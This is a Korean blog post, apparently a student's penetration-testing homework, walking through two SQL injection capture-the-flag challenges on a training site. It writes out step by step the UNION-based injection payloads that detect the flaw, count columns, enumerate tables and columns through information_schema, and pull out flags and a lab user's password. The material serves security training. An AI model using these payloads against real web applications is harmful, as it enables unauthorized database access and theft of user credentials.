노말틱 모의해킹

[6주차 과제] 말틱님이 알려준대로만 하면 된다.

debugginglog 2025. 5. 21. 01:14

영상과제

  1. UNION SQL Injection 복습
  2. doldol 데이터만 출력하기 (하나만 나오게!)
  3. SQL Injection1, SQL Injection2 문제 풀기
  4. Web개발 공부하기 : 목표는 3개월 안에 커뮤니티 사이트 만들기(로그인, 회원가입, 마이페이지, 게시판)

SQL Injection1

  1. 검색어는 User ID로 고정되어 있고, a로 검색하면 대문자 소문자 구분없이 전부 나옴
  2. a%' and '1%'='1로 검색해보니 잘 나옴, a%' and '1%'='2로 하니 안나옴 : SQL Injection이 적용되고 있다.
  3. a%'order by 4 #로 하면 나오는데 a%'order by 5 #로 하면 결과가 안나옴 : column 개수는 4개
  4. a%' union select 1,2,3,4 #을 했는데 "ctf2.segfaulthub.com에서 응답하는 데 시간이 너무 오래 걸립니다." 이런 에러가 나옴. 그런데 어차피 컬럼이 4개라서 보이지 않는 컬럼 수는 없으니 넘어가도 될 것 같음. (이건 네트워크 이슈.. 핫스팟으로 하면 잘됨)
  5. a%' union select 1,database(),3,4 #을 하니 sqli_1이 나옴. Database이름은 sqli_1
  6. a%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='sqli_1'을 하면 2번째 컬럼에 flag_table, plusFlag_Table, user_info가 나옴. 테이블은 세개가 있음
  7. column 이름 확인
    1. over%' union select 1, column_name,3,4 from information_schema.columns where table_name = 'flag_table' # 결과는 flag
    2. over%' union select 1, column_name,3,4 from information_schema.columns where table_name = 'plusFlag_Table' # 결과는 idx, flag
    3. over%' union select 1, column_name,3,4 from information_schema.columns where table_name = 'user_info' # 결과는 id, level, rank_point, rate
  8. data 값 확인해보자.
    1. over%' union select 1, flag, 3, 4 from flag_table # 하면 "segfault{Basic_Union_SQLi}" 값이 나옴
    2. over%' union select 1, idx, flag, 4, from plusFlag_Table # 이거하니까 결과가 안나옴 여기엔 값이 없나보다.
    3. over%' union select id, level, rank_point, rate from user_info # 이건 총 4가지 데이터가 나온다. 이건 원래 이 홈페이지에서 제공하는 데이터

SQL Injection2

  1. 이것도 검색항목은 User ID로 고정되어있음. 이상한 점은 초기 데이터가 하나도 보이지 않는다.
  2. placeholder에 normaltic이 있길래 그냥 검색해봤더니 level과 Rank Point가 ***로 되어서 보인다.
  3. no%' and '1%'='1 이걸 검색해보니 id 값에 no%' and '1%'='1 이렇게 나온다. like로 조회하는 것이 아닌가? 이상한걸 다 넣어도 항상 ID 값에 내가 입력한 값이 나오고 info에는 빈 값이 나온다. 여전히 level과 Rank Point는 *로 가려져서 보인다. 찾는 값이 실제로 DB에 없으면 그대로 내보내고 info 값은 없는 걸로 나오는걸까? 왜냐하면 burp suite로 보면 전부 status code는 200이다. 백엔드 서버에서 없는걸 처리하는걸까?
  4. 이것저것 검색 시행착오
    1. 그런데 normaltic'으로 입력하면 info가 안나오는게 아니라 전체 값이 안나오는 경우가 생긴다.
    2. normaltic#으로 검색하면  info가 비어져서 나온다. 
    3. normaltic'#으로 검색하면 올바른 정보가 나온다.
    4. normaltic#'으로 검색하면 normaltic'과 같이 전체 값이 안나온다. 어떤 데이터든 '으로 끝나면 아예 조회가 안된다.
  5. 가설
    1. SQL 문이 완전히 깨져서 에러가 발생하면 아무것도 안 나오고, 정상 구문인데 결과가 없으면 ID만 출력되고 Info는 비어있다.
    2. normaltic'#으로 입력할 때는 올바른 정보가 나오니 SQL Injection은 가능하다. 하지만 ID 값은 그대로 normaltic'#으로 나오지만 Info에는 my name is normaltic으로 나오는걸 봐서는 ID 값은 호출한 값을 보여주는 것이 아니다.
    3. 그렇다면 ID 컬럼은 내가 DB 데이터를 볼 수 있는 것이 아니고 level, Rank Point 컬럼은 암호화된 걸 뚫지 못하는 이상 내가 여기서 확인할 수 있는 값은 한번의 시도에 하나의 컬럼만 확인 가능하다.
    4. 또한 normalti'#으로 검색해보니 안나오는걸 봐서는 like 구문은 아닌 것 같다. where id ='{입력값}' 이지 않을까?
  6. order 확인 normaltic' order by 7 #에서 진행이 안된다. 컬럼수는 6개
  7. ' union select 1,2,3,4,5,database(); #로 확인해보니 sqli_5가 나옴 (normaltic' union으로 하면 normaltic 정보가 info에 나오기 때문에 안됨, 6번째 안하면 안나오는걸 봐서는 6번째 컬럼을 조회하고 있는 것 같음)
  8. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' # 입력하면 flag_honey가 나옴. 테이블은 한개인가? 그럴리가 없을 것 같다. 
    1. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 0; # -> flag_honey
    2. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 1; #  -> game_user
    3. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 2; # -> secret
    4. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 3; # -> 안나옴 테이블은 3개임
  9. 컬럼 값 구하기
    1. flag_honey 테이블
      1. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' limit 1 offset 0; # -> flag
      2. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' limit 1 offset 1; # -> 안나옴. 컬럼 한개
    2. game_user 테이블
      1. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 0; # -> idx
      2. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 1; # -> id
      3. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 2; # -> pass
      4. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 3; # -> level
      5. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 4; # -> rank_point
      6. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 5; # -> info
      7. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 6; # -> 안나옴 컬럼 6개
    3. secret 테이블
      1. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' limit 1 offset 0; # -> flag
      2. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' limit 1 offset 1; # -> 안나옴 컬럼 한개
  10. 데이터를 찾아보자
    1. ' union select 1,2,3,4,5,flag from flag_honey # -> kkkkkkk_Not Here!(킹받는 문구)
    2. ' union select 1,2,3,4,5,flag from secret # -> NONONO~~~~
    3. ' union select 1,2,3,4,5,id from game_user # -> normaltic 이건 진짜 유저가 아닐 것 같으니
    4. ' union select 1,2,3,4,5,id from game_user limit 1 offset 1; # -> doldol
    5. ' union select 1,2,3,4,5,pass from game_user limit 1 offset 1; # -> jjfijeii
    6. ' union select 1,2,3,4,5,info from game_user limit 1 offset 1; # -> Music is my life
    7. ' union select 1,2,3,4,5,level from game_user limit 1 offset 1; # -> 42
    8. ' union select 1,2,3,4,5,rank_point from game_user limit 1 offset 1; # -> 안나옴
    9. ' union select 1,2,3,4,5,idx from game_user limit 1 offset 1; # -> 2
    10. 혹시 flag 테이블에 있는 doldol 유저꺼인가? 검색해보니 안나옴
    11. 혹시 secret?? ' union select 1,2,3,4,5,flag from secret limit 1 offset 1; # 입력해보니 segfault{UnionOnlyOneColumn} Tada~!

현생에 강의 전날 후다닥하기.. 다음주 과제는 미리 해두고 싶다. + 보너스 문제는 언제 접속해보지